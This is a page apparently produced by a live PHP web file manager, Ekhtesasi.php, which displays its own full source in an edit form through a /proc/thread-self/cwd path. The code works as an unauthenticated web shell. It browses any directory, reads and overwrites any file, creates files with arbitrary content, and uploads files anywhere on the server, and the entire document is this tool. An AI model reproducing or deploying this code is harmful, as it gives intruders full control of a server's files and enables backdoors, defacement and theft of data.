<h2>File Contents: //proc/thread-self/cwd/Ekhtesasi.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='//proc/thread-self/cwd/Ekhtesasi.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php

function listDirectoryContents($dir) {
    $files = scandir($dir);

    echo &quot;&lt;h2&gt;Current Directory: &quot;;
    $pathParts = explode(DIRECTORY_SEPARATOR, $dir);
    $pathLink = &quot;&quot;;

    foreach ($pathParts as $index =&gt; $part) {
        $pathLink .= ($index &gt; 0 ? DIRECTORY_SEPARATOR : &quot;&quot;) . $part;
        echo &quot;&lt;a href='?dir=&quot; . urlencode($pathLink) . &quot;'&gt;&quot; . htmlspecialchars($part) . &quot;&lt;/a&gt;&quot;;
        if ($index &lt; count($pathParts) - 1) echo &quot; / &quot;;
    }
    echo &quot;&lt;/h2&gt;&quot;;

    echo &quot;&lt;ul&gt;&quot;;

    if ($dir !== __DIR__) {
        $parentDir = dirname($dir);
        echo &quot;&lt;li&gt;&lt;a href='?dir=&quot; . urlencode($parentDir) . &quot;'&gt;⬅ Back&lt;/a&gt;&lt;/li&gt;&quot;;
    }

    foreach ($files as $file) {
        if ($file === &quot;.&quot; || $file === &quot;..&quot;) continue;

        $path = $dir . DIRECTORY_SEPARATOR . $file;

        if (is_dir($path)) {
            echo &quot;&lt;li&gt;[DIR] &lt;a href='?dir=&quot; . urlencode($path) . &quot;'&gt;&quot; . htmlspecialchars($file) . &quot;&lt;/a&gt;&lt;/li&gt;&quot;;
        } else {
            echo &quot;&lt;li&gt;[FILE] &lt;a href='?file=&quot; . urlencode($path) . &quot;'&gt;&quot; . htmlspecialchars($file) . &quot;&lt;/a&gt;&lt;/li&gt;&quot;;
        }
    }
    echo &quot;&lt;/ul&gt;&quot;;

    // Create New File Form
    echo &quot;&lt;h3&gt;Create New File&lt;/h3&gt;&quot;;
    echo &quot;&lt;form method='POST' action=''&gt;&quot;;
    echo &quot;&lt;input type='hidden' name='current_dir' value='&quot; . htmlspecialchars($dir) . &quot;'&gt;&quot;;
    echo &quot;&lt;input type='text' name='new_file_name' placeholder='Enter file name with extension' required&gt;&lt;br&gt;&quot;;
    echo &quot;&lt;textarea name='file_content' placeholder='Enter content for new file'&gt;&lt;/textarea&gt;&lt;br&gt;&quot;;
    echo &quot;&lt;button type='submit'&gt;Create File&lt;/button&gt;&quot;;
    echo &quot;&lt;/form&gt;&quot;;

    // File Upload Form
    echo &quot;&lt;h3&gt;Upload File&lt;/h3&gt;&quot;;
    echo &quot;&lt;form method='POST' enctype='multipart/form-data' action=''&gt;&quot;;
    echo &quot;&lt;input type='hidden' name='current_dir' value='&quot; . htmlspecialchars($dir) . &quot;'&gt;&quot;;
    echo &quot;&lt;input type='file' name='uploaded_file' required&gt;&lt;br&gt;&quot;;
    echo &quot;&lt;button type='submit'&gt;Upload File&lt;/button&gt;&quot;;
    echo &quot;&lt;/form&gt;&quot;;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['new_file_name'], $_POST['current_dir'])) {
        $newFileName = $_POST['new_file_name'];
        $currentDir = $_POST['current_dir'];
        $fileContent = $_POST['file_content'] ?? &quot;&quot;;
        $filePath = $currentDir . DIRECTORY_SEPARATOR . $newFileName;

        if (!file_exists($filePath)) {
            file_put_contents($filePath, $fileContent);
            echo &quot;&lt;p&gt;File '$newFileName' created successfully in '$currentDir'.&lt;/p&gt;&quot;;
        } else {
            echo &quot;&lt;p&gt;File already exists.&lt;/p&gt;&quot;;
        }
        listDirectoryContents($currentDir);
    } elseif (isset($_FILES['uploaded_file'], $_POST['current_dir'])) {
        $currentDir = $_POST['current_dir'];
        $uploadedFile = $_FILES['uploaded_file'];

        if ($uploadedFile['error'] === UPLOAD_ERR_OK) {
            $targetPath = $currentDir . DIRECTORY_SEPARATOR . basename($uploadedFile['name']);
            if (move_uploaded_file($uploadedFile['tmp_name'], $targetPath)) {
                echo &quot;&lt;p&gt;File '&quot; . htmlspecialchars($uploadedFile['name']) . &quot;' uploaded successfully to '$currentDir'.&lt;/p&gt;&quot;;
            } else {
                echo &quot;&lt;p&gt;Failed to upload file.&lt;/p&gt;&quot;;
            }
        } else {
            echo &quot;&lt;p&gt;Error uploading file: &quot; . $uploadedFile['error'] . &quot;&lt;/p&gt;&quot;;
        }
        listDirectoryContents($currentDir);
    } elseif (isset($_POST['edit_file'], $_POST['file_content'])) {
        $filePath = $_POST['edit_file'];
        $fileContent = $_POST['file_content'];
        file_put_contents($filePath, $fileContent);
        echo &quot;&lt;p&gt;Changes saved to '$filePath'.&lt;/p&gt;&quot;;
        listDirectoryContents(dirname($filePath));
    }
} elseif (isset($_GET['file'])) {
    $file = $_GET['file'];
    if (file_exists($file)) {
        echo &quot;&lt;h2&gt;File Contents: &quot; . htmlspecialchars($file) . &quot;&lt;/h2&gt;&quot;;
        $content = htmlspecialchars(file_get_contents($file));
        echo &quot;&lt;form method='POST' action=''&gt;&quot;;
        echo &quot;&lt;input type='hidden' name='edit_file' value='&quot; . htmlspecialchars($file) . &quot;'&gt;&quot;;
        echo &quot;&lt;textarea name='file_content' rows='10' cols='50'&gt;$content&lt;/textarea&gt;&lt;br&gt;&quot;;
        echo &quot;&lt;button type='submit'&gt;Save Changes&lt;/button&gt;&quot;;
        echo &quot;&lt;/form&gt;&quot;;
        echo &quot;&lt;a href='?dir=&quot; . urlencode(dirname($file)) . &quot;'&gt;⬅ Back to Directory&lt;/a&gt;&quot;;
    } else {
        echo &quot;File does not exist.&quot;;
    }
} else {
    $dir = isset($_GET['dir']) ? $_GET['dir'] : __DIR__;
    listDirectoryContents($dir);
}

?&gt;</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2F%2Fproc%2Fthread-self%2Fcwd'>⬅ Back to Directory</a>